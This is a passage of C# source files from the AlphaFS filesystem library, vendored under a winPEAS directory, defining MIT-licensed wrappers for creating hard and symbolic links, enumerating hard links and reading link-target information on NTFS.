Obsolete\n\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>      \n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static void CreateHardLinkTransacted(KernelTransaction transaction, string fileName, string existingFileName)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         CreateHardLinkCore(transaction, fileName, existingFileName, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static void CreateHardLinkTransacted(KernelTransaction transaction, string fileName, string existingFileName, PathFormat pathFormat)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         CreateHardLinkCore(transaction, fileName, existingFileName, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateSymbolicLink.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file.</summary>\n      /// <remarks>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"targetType\">Indicates whether the link target, <paramref name=\"targetFileName\"/>, is a file or directory.</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      [Obsolete(\"Methods with SymbolicLinkTarget parameter are obsolete.\")]\n      public static void CreateSymbolicLink(string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType)\n      {\n         CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, targetType, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file.</summary>\n      /// <remarks>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"targetType\">Indicates whether the link target, <paramref name=\"targetFileName\"/>, is a file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      [Obsolete(\"Methods with SymbolicLinkTarget parameter are obsolete.\")]\n      public static void CreateSymbolicLink(string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType, PathFormat pathFormat)\n      {\n         CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, targetType, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file as a transacted operation.</summary>\n      /// <remarks>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"targetType\">Indicates whether the link target, <paramref name=\"targetFileName\"/>, is a file or directory.</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      [Obsolete(\"Methods with SymbolicLinkTarget parameter are obsolete.\")]\n      public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType)\n      {\n         CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, targetType, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file as a transacted operation.</summary>\n      /// <remarks>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"targetType\">Indicates whether the link target, <paramref name=\"targetFileName\"/>, is a file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      [Obsolete(\"Methods with SymbolicLinkTarget parameter are obsolete.\")]\n      public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType, PathFormat pathFormat)\n      {\n         CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, targetType, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLink(string symlinkFileName, string targetFileName)\n      {\n         CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, SymbolicLinkTarget.File, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLink(string symlinkFileName, string targetFileName, PathFormat pathFormat)\n      {\n         CreateSymbolicLinkCore(null, symlinkFileName, targetFileName, SymbolicLinkTarget.File, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.CreateSymbolicLinkTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file as a transacted operation.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName)\n      {\n         CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, SymbolicLinkTarget.File, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file as a transacted operation.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkFileName, string targetFileName, PathFormat pathFormat)\n      {\n         CreateSymbolicLinkCore(transaction, symlinkFileName, targetFileName, SymbolicLinkTarget.File, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.EnumerateHardLinks.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The name of the file.</param>\n      [Obsolete(\"Use EnumerateHardLinks method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlinks\")]\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateHardlinks(string path)\n      {\n         return EnumerateHardLinksCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use EnumerateHardLinks method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlinks\")]\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateHardlinks(string path, PathFormat pathFormat)\n      {\n         return EnumerateHardLinksCore(null, path, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The name of the file.</param>\n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static IEnumerable<string> EnumerateHardLinks(string path)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         return EnumerateHardLinksCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static IEnumerable<string> EnumerateHardLinks(string path, PathFormat pathFormat)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         return EnumerateHardLinksCore(null, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.EnumerateHardLinksTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      [Obsolete(\"Use EnumerateHardLinks method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlinks\")]\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateHardlinksTransacted(KernelTransaction transaction, string path)\n      {\n         return EnumerateHardLinksCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use EnumerateHardLinks method.\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlinks\")]\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateHardlinksTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return EnumerateHardLinksCore(transaction, path, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static IEnumerable<string> EnumerateHardLinksTransacted(KernelTransaction transaction, string path)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         return EnumerateHardLinksCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n#pragma warning disable CS3005 // Identifier differing only in case is not CLS-compliant\n      public static IEnumerable<string> EnumerateHardLinksTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n#pragma warning restore CS3005 // Identifier differing only in case is not CLS-compliant\n      {\n         return EnumerateHardLinksCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.GetLinkTargetInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfo(string path)\n      {\n         return GetLinkTargetInfoCore(null, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfo(string path, PathFormat pathFormat)\n      {\n         return GetLinkTargetInfoCore(null, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Junctions, Links/File.GetLinkTargetInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLinkTargetInfoCore(transaction, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      [SecurityCritical]\n      public static LinkTargetInfo 